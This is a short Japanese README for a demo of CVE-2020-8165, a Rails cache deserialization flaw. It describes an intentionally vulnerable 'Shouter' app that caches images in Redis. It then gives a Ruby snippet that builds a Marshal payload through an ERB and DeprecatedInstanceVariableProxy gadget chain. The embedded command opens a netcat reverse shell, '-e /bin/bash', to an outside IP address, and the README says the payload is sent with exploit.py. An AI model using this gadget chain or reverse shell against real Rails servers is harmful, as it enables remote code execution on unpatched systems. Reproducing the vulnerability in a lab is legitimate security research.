
CVE-2020-8165 のもう一つのデモですが、大半のものより現実的な実装になっています。
CVE-2020-8165
信頼されていないデータのデシリアライゼーションの脆弱性が rails < 5.2.4.3、rails < 6.0.3.1 に存在し、攻撃者が MemCacheStore および RedisCacheStore 内のユーザー指定オブジェクトをアンマーシャルできる可能性があり、結果として RCE につながる可能性があります。
「Shouter」アプリには、Shout モデルにキャッシュ機能があり、shout:string とともに送信されるオプションの画像が DB ではなく redis にキャッシュされ、そこから取得されます。Rails.cache.fetch メソッドは脆弱性の影響を受けるため、このアプリは CVE-2020-8165 の影響を受けやすく、RCE の結果はダッシュボードルートの img タグの src に配置されます。
次のスニペットは、exploit.py を使用して送信する必要があるペイロードを生成します。エクスプロイトを完全に Python で実装するには、シリアライゼーションのステップに若干のニュアンスがあり、解明する必要があります。したがって、現時点では正確なペイロードを生成するために Ruby の Marshal.dump が必要です。
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload